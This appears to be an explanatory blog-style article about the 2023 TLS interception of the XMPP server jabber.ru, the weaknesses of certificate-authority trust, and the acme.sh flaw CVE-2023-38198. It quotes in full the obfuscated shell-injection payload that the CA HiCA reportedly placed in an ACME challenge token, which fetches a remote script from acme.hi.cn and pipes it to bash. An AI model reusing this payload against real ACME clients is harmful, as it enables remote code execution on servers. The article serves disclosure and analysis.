- TLS wiretapping by root certificate authorities isn’t a conspiracy theory — it’s a documented, verifiable practice that has happened.
- A TLS wiretapping operation targeting jabber.ru was reportedly burned because someone forgot to renew an SSL certificate.
- The acme.sh tool running on jabber.ru in April 2023 was vulnerable to a remote code execution flaw later assigned CVE-2023-38198.
- Certificate authority HiCA exploited the acme.sh bug to issue certificates, hinting at how the interception infrastructure may have been built.
When TLS Wiretapping Gets Exposed by a Lapsed Certificate
TLS wiretapping is one of those topics that sits uncomfortably between the world of cybersecurity research and the murkier domain of state surveillance. It isn’t fringe speculation — it’s a documented technical reality, and in 2023 a remarkably mundane operational error brought a likely instance of it crashing into public view. Someone, apparently running an active TLS wiretapping operation against the Russian XMPP server jabber.ru, forgot to renew a TLS certificate. Users were greeted with a browser warning page. Researchers started asking questions. And just like that, what might have stayed invisible became a case study.
The story doesn’t just matter because surveillance is controversial. It matters because of what it reveals about how TLS trust actually works in practice — and how far that practice can drift from what the protocol’s designers intended.
The Basics of TLS Trust (and Why It Can Be Weaponised)
At its core, TLS — Transport Layer Security — is the technology behind the padlock icon in your browser’s address bar. It works through a chain of cryptographic trust that ultimately traces back to a root Certificate Authority, or CA. Your browser ships with a list of trusted root CAs baked in. When a website presents a certificate, your browser checks whether it chains back to one of those trusted roots. If it does, you see a padlock. If it doesn’t, you see a warning.
That system works well when everyone in the chain behaves. But root CAs occupy an extraordinarily privileged position. A root CA — or anyone it delegates to — can technically issue a valid certificate for any domain. Any domain. That means TLS wiretapping becomes possible: an attacker, government agency, or complicit CA can present a fraudulently issued but technically valid certificate for, say, jabber.ru, and sit silently in the middle of encrypted conversations. TLS wiretapping of this kind is sometimes called a machine-in-the-middle attack, and it leaves no obvious trace for end users to detect.
This isn’t theoretical. Documented cases of CA misbehaviour include Symantec’s certificate mis-issuance, the DigiNotar breach, and Kazakhstan’s short-lived attempt to force a government root CA onto citizens’ devices. State-level TLS wiretapping is a real capability that real agencies have deployed.
The Jabber.ru Incident — and What the Logs Revealed
The 2023 jabber.ru situation was pieced together largely because of the expired certificate blunder. Security researcher Valery Voronov published a remarkably detailed analysis on valdikss.org, tracing the timeline of events and identifying anomalies in the server’s certificate history that pointed strongly toward a man-in-the-middle operation consistent with TLS wiretapping. The certificate in question was valid and CA-signed — just not by anyone jabber.ru had authorised.
Digging into the timeline, one date stands out: April 18th, 2023. That’s when a change appears to have been made to the server’s certificate infrastructure. A few weeks later, users start reporting the dreaded browser warning when accessing the service. The TLS wiretapping — if that’s what it was — appeared to have run for some period before the expiry gave it away. As an operational security failure, it’s almost comedic. Whoever set this up apparently didn’t automate the renewal of the very certificate they were using to spy on people.
CVE-2023-38198 and the acme.sh Connection
Here’s where things get technically interesting. Running on jabber.ru at the time was acme.sh, a popular shell-script-based client for the ACME protocol — the same protocol that Let’s Encrypt and other certificate authorities use to automate certificate issuance and renewal. On June 8th, 2023, a critical remote code execution vulnerability in acme.sh was publicly disclosed, later assigned CVE-2023-38198. A patch landed the following day.
The jabber.ru server, running acme.sh on April 18th, would have been using a version that predated that patch — meaning it was fully exposed to this exploit at the exact moment something unusual happened with its certificate infrastructure. That’s a coincidence that’s hard to ignore, and one that fits the profile of a deliberate TLS wiretapping setup.
The vulnerability itself is subtle but devastating in the right circumstances. The flaw lives in the gap between data as it travels over the wire and data as the ACME client processes and logs it. The ACME protocol sends back challenge objects during certificate validation, and acme.sh wasn’t sanitising the content of those objects before passing them to a shell for processing. That’s a classic shell injection setup.
A GitHub issue first disclosing the flaw included an example of a malicious challenge object from a certificate authority called HiCA. The payload embedded in the challenge token was a masterpiece of obfuscated shell abuse — using backticks instead of subshell syntax, substituting the internal field separator to smuggle spaces past filters, and base64-encoding command fragments to avoid detection. The end result was arbitrary code execution on any server running a vulnerable version of acme.sh when it attempted certificate validation against a malicious CA.
The reported payload, lightly cleaned up, looked something like this in the ACME challenge object’s token and key authorisation fields:
Token: dd#acme.hi.cn/acme/v2/precheck-http/123456/654321#http-01#/tmp/$(curl`IFS=^;cmd=base64^-d;$cmd<<<IA==`-sF`IFS=^;cmd=base64^-d;$cmd<<<IA==`csr=@$csr`IFS=^;cmd=base64^-d;$cmd<<<IA==`https$(IFS=^;cmd=base64^-d;$cmd<<<Oi8v)acme.hi.cn/acme/csr/http/123456/654321?o=$_w|bash)#
That’s not a certificate token. That’s a shell command disguised as one. When acme.sh received and processed this, it executed it. On the server. With whatever privileges acme.sh was running under.
What HiCA’s Abuse of the Vulnerability Actually Tells Us
HiCA’s apparent use of this exploit is the most telling detail in the whole saga. According to the GitHub disclosure, HiCA was using CVE-2023-38198 specifically to issue certificates — not just to run arbitrary commands, but to facilitate PKI validation. That’s a very specific use case. It means HiCA (or someone acting through HiCA) wanted to get a valid certificate for a domain by using the ACME client on that domain’s server as a remote execution vector.
Think about what that means in the context of TLS wiretapping. If you can run code on a target server’s ACME client, you can potentially intercept or manipulate the certificate renewal process. You could issue a certificate the server’s administrators never asked for. You could insert your own certificate into the chain. And if the target server is something like jabber.ru — an XMPP messaging service used by people who care about privacy — the value of that TLS wiretapping capability is obvious.
To be clear: the analysis stops short of definitively naming who ran the jabber.ru intercept or confirming that CVE-2023-38198 was the exact vector used. The timelines align. The capabilities fit. But intelligence operations don’t come with signed receipts.
The Bigger Picture for Internet Security
What this whole episode illustrates is that TLS wiretapping isn’t just a theoretical concern for security researchers — it’s an operational tool, and the infrastructure supporting it is messier and more error-prone than you might expect from well-resourced actors. State-level surveillance operations run on shell scripts and automated certificate tools, just like everyone else’s infrastructure. They make the same kinds of mistakes.
The CA trust system has known weaknesses, and the industry has been slowly building guardrails around them. Certificate Transparency logs — which require CAs to publicly record every certificate they issue — have made rogue certificate issuance significantly harder to hide. Browser makers like Google and Mozilla have used their control over the trusted root store as a lever to discipline misbehaving CAs. But those mechanisms depend on someone actually watching the logs, and on the interceptors making mistakes visible enough to catch.
In the jabber.ru case, the mistake was an expired certificate. That’s almost embarrassingly low-tech as an opsec failure. But it was enough. The real question raised by this research isn’t whether TLS wiretapping is possible — we know it is. It’s whether the transparency and accountability mechanisms the industry has built are actually keeping pace with the sophistication of the people trying to abuse the system. Given that a routine renewal failure is apparently what it takes to expose an active TLS wiretapping operation, the answer probably isn’t as reassuring as we’d like.
Source: https://remyhax.xyz/posts/reproducing-lawful-tls-wiretapping/
